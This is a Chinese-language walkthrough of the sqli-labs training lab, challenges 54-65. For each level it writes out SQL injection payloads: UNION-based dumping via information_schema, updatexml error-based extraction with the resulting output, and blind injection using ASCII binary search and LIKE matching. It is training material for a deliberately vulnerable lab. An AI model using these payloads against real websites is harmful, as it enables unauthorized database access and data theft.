【Web安全靶場】sqli-labs-master 54-65 Challenges 與62關二分法和like模糊搜索

sqli-labs-master 54-65 Challenges

其他關卡和靶場見專欄…

文章目錄

  • sqli-labs-master 54-65 Challenges
    • 第五十四關-聯合注入
    • 第五十五關-聯合注入
    • 第五十六關-聯合注入
    • 第五十七關-聯合注入
    • 第五十八關-報錯注入
    • 第五十九關-報錯注入
    • 第六十關-報錯注入
    • 第六十一關-報錯注入
    • 第六十二關-二分法與like模糊選擇
    • 第63關-第65關-思路都是像62關一樣,只是閉合不同而已

第五十四關-聯合注入

頁面有一串英文,翻譯之后為:這個挑戰的目的是在不到10個語句或有趣的時間內從數據庫(CHALLENGES’)中的隨機表中轉儲(密鑰),每次重置,挑戰都會產生隨機表名、列名和表數據。始終保持新鮮。 這道題只要請求超過10次就失敗了,失敗的話就重置數據庫,下面就給出答案(可能超過10步了,不管了):

  1. 進入界面
?id=1
  1. 引號探針,沒有報錯信息,判斷為報錯函數被注釋,所以不考慮報錯注入
?id=1'
  1. 判斷是否為數字型注入,回顯的不是1的信息,所以不是數字型注入
?id=2-1
  1. 確定閉合方式為單引號閉合
?id=1' and '1'='1
  1. 確定字段數
?id=1' order by 3 -- #
?id=1' order by 4 -- #
  1. 判斷回顯位
?id=-1' union select 1,2,3 -- #
  1. 獲取數據(每個人的數據都是不一樣的)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='6rkzuquxqg' and table_schema=database() -- #
?id=-1' union select 1,group_concat(secret_T9CV),3 from 6rkzuquxqg -- #

在這里插入圖片描述

第五十五關-聯合注入

不翻譯了…

  1. 使用引號探針,發現沒有報錯信息,所以報錯注入用不了
?id=1'
  1. 使用2-1,回顯的是1的信息,所以判斷這是數字型注入
?id=2-1
  1. 使用order by發現沒有任何作用,所以嘗試了一下括號,發現這是帶有括號的數字型
?id=1) order by 3 -- #
  1. 獲取數據(每個人數據都不一樣)
?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='k8duqrwfn9' and table_schema=database() -- #
?id=-1) union select 1,group_concat(secret_A286),3 from k8duqrwfn9 -- #

在這里插入圖片描述

第五十六關-聯合注入

不翻譯了…

  1. 利用2-1判斷數字型,結果不是數字型
  2. 使用引號探針判斷閉合,發現沒有任何報錯信息,所以不能用報錯注入了111
  3. 判斷閉合方式,發現界面正常回顯
?id=1' and '1'='1
  1. 判斷是否有括號,回顯的是1的信息,所以閉合方式為引號加上括號閉合
?id=2' and '1'='1
  1. 判斷字段數、回顯位,并且獲取數據
?id=1') order by 3 -- # 
?id=1') order by 4 -- # 
?id=-1') union select 1,2,3 -- # 
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- # 
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dl4f4k42zy' and table_schema=database() -- # 
?id=-1') union select 1,group_concat(secret_DCQ2),3 from dl4f4k42zy -- # 

在這里插入圖片描述

第五十七關-聯合注入

不翻譯了…

  1. 使用引號探針發現正常顯示(單引號),這九成是雙引號有關的了。
  2. 使用雙引號探針發現沒法顯示并且沒有報錯(不能使用報錯注入了),接著后面添加注釋符號界面正常顯示。
  3. 判斷有沒有括號,使用1") – #發現沒有辦法正常顯示,所以得出這是雙引號加上括號閉合。
  4. 獲取字段數、回顯位,數據。
?id=1" order by 3 -- #
?id=1" order by 4 -- #
?id=-1" union select 1,2,3 -- #
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='oa1zfdkjwo' and table_schema=database() -- #
?id=-1" union select 1,group_concat(secret_ZVSW),3 from oa1zfdkjwo -- #

在這里插入圖片描述

第五十八關-報錯注入

限制在5個語句???!!!不想翻譯了…

  1. 使用引號探針,發現回顯出報錯信息,這是單引號閉合,所以報錯注入有望!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

  1. 獲取數據!
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~q6mi5yatt1’

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='q6mi5yatt1' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_64YV,tryy’

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_64YV) from q6mi5yatt1)),3) -- #

在這里插入圖片描述

第五十九關-報錯注入

  1. 使用引號探針,回顯出報錯信息,判斷是數字型注入,報錯注入有望。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

  1. 獲取數據。
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

XPATH syntax error: ‘~djwt50t0s9’

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='djwt50t0s9' and table_schema=database())),3)

XPATH syntax error: ‘~id,sessid,secret_0MEE,tryy’

?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_0MEE) from djwt50t0s9)),3)

在這里插入圖片描述

第六十關-報錯注入

不想翻譯…

  1. 使用引號探針(單引號),回顯正常,九成是雙引號有關的。
  2. 使用雙引號探針,回顯出報錯信息,判斷是雙引號加上括號閉合,使用報錯注入試一下。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1

  1. 獲取數據。
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~ti6jxukf2b’

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ti6jxukf2b' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_U00Y,tryy’

?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_U00Y) from ti6jxukf2b)),3) -- #

在這里插入圖片描述

第六十一關-報錯注入

不想翻譯…

  1. 使用引號探針,根據報錯信息判斷這是單引號加上兩個括號閉合,使用報錯注入。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’)) LIMIT 0,1’ at line 1

  1. 構造閉合,獲取數據。
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~6ze6q3awxl’

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='6ze6q3awxl' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_R72X,tryy’

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_R72X) from 6ze6q3awxl)),3) -- #

在這里插入圖片描述

第六十二關-二分法與like模糊選擇

這一道題限制在130條語句中,所以猜測這是盲注

  1. 使用引號探針發現頁面無法正常顯示,并且沒有報錯信息,所以報錯注入無效。
  2. 使用2-1,回顯的是2的信息所以這不是數字型注入。
  3. 由于使用單引號探針頁面無法正常顯示則基本可以判斷這不是雙引號,所以有可能是單引號加上括號,使用注釋符頁面正常顯示:
?id=1') -- #
  1. 使用Union注入結果沒有任何回顯位,所以考慮盲注。
  2. 獲取數據的思路。
?id=1') and if(substr(database(),1,1)='c',1,0) -- #

首先我們知道了數據庫名可以直接使用database()。由于密鑰是在A-Z和a-z和0-9中選取的,所以直接暴力破解是不可取的,對此有兩種應對方法:

  • 使用模糊搜索LIKE!
  • 使用二分法提高搜索效率!
  1. 獲取部分表名,0-9的值為48-57,A-Z的值為65-90,a-z的值為97-122,開始爆破第一個值!
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<58,1,0) -- #

通過上述語句可知第一個字符是數字:

在這里插入圖片描述

?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<53,1,0) -- #

通過上述語句可以知道它是5-9之間的:

在這里插入圖片描述

…省略

在這里插入圖片描述

可以得到第一個數字是5,總共使用了6個請求。

  1. 獲取字段名security_xxxx:獲取表名之后可以根據table_name like ‘5%’,進行模糊搜索。

總共要爆破1+4+24=28,大約要使用170個請求,剩下看天意吧。

還有一種方法直接爆破24個密鑰,就是再加2個select語句就行了,沒實踐成功純思路,做出來給我評論。

還有一些奇奇怪怪的優化方法,不想折騰了,因為0-9還有大小寫字母的ascii碼分三段,所以如果一次請求中使用if嵌套語句,假設不是數字那就讓它自動查詢字母。

第63關-第65關-思路都是像62關一樣,只是閉合不同而已

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/713941.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/713941.shtml
英文地址,請注明出處:http://en.pswp.cn/news/713941.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

grid的刪除

/u01/11.2.0/grid 為 grid 用戶的安裝主目錄 1、刪除 crs 配置信息 root: cd /u01/11.2.0/grid/crs/install perl rootcrs.pl -deconfig -force 2、刪除 crs 配置信息&#xff0c;并卸載軟件 cd /u01/11.2.0/grid/deinstall ./deinstall grid user: ./deinstall -home /…

Mysql與StarRocks語法上的不同

&#x1f413; 序言 StarRocks 是新一代極速全場景 MPP (Massively Parallel Processing) 數據庫。StarRocks 的愿景是能夠讓用戶的數據分析變得更加簡單和敏捷。用戶無需經過復雜的預處理&#xff0c;可以用StarRocks 來支持多種數據分析場景的極速分析。 &#x1f413; 語法…

嵌入式驅動學習第一周——linux的休眠與喚醒

前言 本文介紹進程的休眠與喚醒。 嵌入式驅動學習專欄將詳細記錄博主學習驅動的詳細過程&#xff0c;未來預計四個月將高強度更新本專欄&#xff0c;喜歡的可以關注本博主并訂閱本專欄&#xff0c;一起討論一起學習。現在關注就是老粉啦&#xff01; 行文目錄 前言1. 阻塞和非阻…

第二節 數學知識補充

一、線性代數 向量的 L 2 L_2 L2?范數&#xff08;Euclidean范數/Frobenius范數&#xff09;&矩陣的元素形式范數 向量的 L 2 L_2 L2?范數&#xff1a; ∣ ∣ x ∣ ∣ 2 ( ∣ x 1 ∣ 2 ? ∣ x m ∣ 2 ) 1 2 ||x||_2(|x_1|^2\cdots|x_m|^2)^{\frac12} ∣∣x∣∣2?(∣…

Verilog參數、Verilog參數和屬性沖突、整數處理

Verilog參數 Verilog參數執行以下操作&#xff1a; ?允許您創建易于重用和擴展的參數化代碼。 ?使代碼更可讀、更緊湊、更易于維護。 ?將此類功能描述為&#xff1a; ○ 總線尺寸 ○ 建模設計單元中某些重復元素的數量 ?是常數。對于參數化模塊的每個實例化&#xf…

電腦桌面便簽哪個好,好用的電腦桌面便簽推薦

在如今信息爆炸的時代&#xff0c;人們的工作和生活節奏越來越快&#xff0c;記事和備忘變得尤為重要。而電腦桌面便簽作為一種方便快捷的記錄工具&#xff0c;備受廣大用戶青睞。那么&#xff0c;電腦桌面便簽哪個好&#xff0c;哪個更加出色呢&#xff1f; 作為一名人事專員…

CryoEM - 使用 cryoSPARC 基于單顆粒圖像從頭重構蛋白質三維結構

歡迎關注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://blog.csdn.net/caroline_wendy/article/details/136384544 基于冷凍電鏡單顆粒圖像重構蛋白質三維結構,利用冷凍電鏡技術測定生物大分子結構的方法。原理是從冷凍電鏡獲得大量同一種蛋白質分子的二維投影圖…

【數據結構】實現隊列

大家好&#xff0c;我是蘇貝&#xff0c;本篇博客帶大家了解隊列&#xff0c;如果你覺得我寫的還不錯的話&#xff0c;可以給我一個贊&#x1f44d;嗎&#xff0c;感謝?? 目錄 一. 隊列的概念及結構二. 隊列的實現隊列的結構體初始化銷毀隊尾插入隊頭刪除顯示第一個節點的值…

【Java程序員面試專欄 算法思維】六 高頻面試算法題:動態規劃

一輪的算法訓練完成后,對相關的題目有了一個初步理解了,接下來進行專題訓練,以下這些題目就是匯總的高頻題目,本篇主要聊聊回溯算法,主要就是排列組合問題,所以放到一篇Blog中集中練習 題目關鍵字解題思路時間空間零錢兌換動態規劃+雙重循環dp[i]表示兌換金額為i元的最少…

從0開始學習NEON(0)

1、前言 ? 最近在學習NEON指令集&#xff0c;主要學習"單指令流&#xff0c;多數據流"的編程方式&#xff0c;在這之前主要是針對cuda編程進行學習。最近的一部分工作轉移到了arm主板上&#xff0c;接觸到了 ncnn這個開源項目&#xff0c;不得不佩服nihui的強大。在…

C# 線性插值

線性插值是一種常用的插值算法&#xff0c;適用于許多實際場景。 傳感器數據處理&#xff1a;在傳感器數據處理中&#xff0c;可能會出現數據點不連續或不均勻的情況。使用線性插值可以根據已知的數據點來估算在兩個數據點之間的數值&#xff0c;從而填補數據中的缺失或不連續之…

iOS消息轉發流程

當向Objc對象發送消息時&#xff0c;如果找到對象對應的方法&#xff0c;就會進入消息轉發流程&#xff0c;給開發者提供一些最后的機會處理消息無法發送問題&#xff0c;以免出現程序崩潰。 1. 回調對象的resolveInstanceMethod方法&#xff0c;在這個方法中&#xff0c;允許開…

阿里云定價_ECS產品價格_云服務器收費標準 - 阿里云官方活動

2024年最新阿里云服務器租用費用優惠價格表&#xff0c;輕量2核2G3M帶寬輕量服務器一年61元&#xff0c;折合5元1個月&#xff0c;新老用戶同享99元一年服務器&#xff0c;2核4G5M服務器ECS優惠價199元一年&#xff0c;2核4G4M輕量服務器165元一年&#xff0c;2核4G服務器30元3…

logo設計軟件及網站匯總

文章目錄 一、智能設計logo的網站二、常用的logo設計軟件 一、智能設計logo的網站 Canva&#xff1a;Canva是一個在線設計平臺&#xff0c;提供了豐富的模板和設計工具&#xff0c;可以幫助用戶輕松設計出專業水平的logo。 DesignEvo&#xff1a;DesignEvo是一個專業的在線log…

基于 LLaMA 和 LangChain 實踐本地 AI 知識庫

有時候,我難免不由地感慨,真實的人類世界,本就是一個巨大的娛樂圈,即使是在英雄輩出的 IT 行業。數日前,Google 正式對外發布了 Gemini 1.5 Pro,一個建立在 Transformer 和 MoE 架構上的多模態模型。可惜,這個被 Google 寄予厚望的產品并未激起多少水花,因為就在同一天…

動作生成學習筆記

目錄 ReMoDiffus 檢索和擴散 文字生運動 action生運動 ReMoDiffus 檢索和擴散 ICCV 2023 | 重塑人體動作生成,融合擴散模型與檢索策略的新范式ReMoDiffuse來了,根據文本生成動作 有例子和模型&

CSS 顯示隱藏動畫(動畫失效問題)

就像這個動畫一樣的效果&#xff0c;div 先是隱藏的&#xff0c;點擊按鈕后顯示并且有動畫效果&#xff0c;隱藏的時候同樣。 <button class"btn" id"btn">點擊</button><div class"box" id"box"></div><s…

一些常用到的git命令

git stash -a //緩存所有文件 git checkout -b dev origin/dev //切換到dev分支上,接著跟遠程的origin地址上的dev分支關聯起來 //推送本地分支到遠程倉庫 git push origin localbranchname:remotebrancname git revert onefile //https://www.freecodecamp.org/news/git-re…

S2---FPGA-A7板級原理圖硬件實戰

視頻鏈接 FPGA-A7板級系統硬件實戰01_嗶哩嗶哩_bilibili FPGA-A7板級原理圖硬件實戰 基于XC7A100TFGG484的FPGA硬件設計流程圖 A7核心板&#xff0c;是基于XILINX公司的ARTIX-7系列100T的XC7A100T,2FGG484I這款芯片開發的高性能核心板&#xff0c;具有高速&#xff0c;高帶寬&a…

HashMap在多線程下形成環的死鎖詳解

1. HashMap的工作原理 HashMap是Java中基于哈希表的Map接口的非同步實現。它存儲鍵值對&#xff0c;并允許使用null鍵和null值。HashMap通過使用鍵對象的hashCode()方法來決定鍵值對的存儲位置。 2. 多線程環境下的問題 在多線程環境下&#xff0c;如果多個線程同時對HashMap進…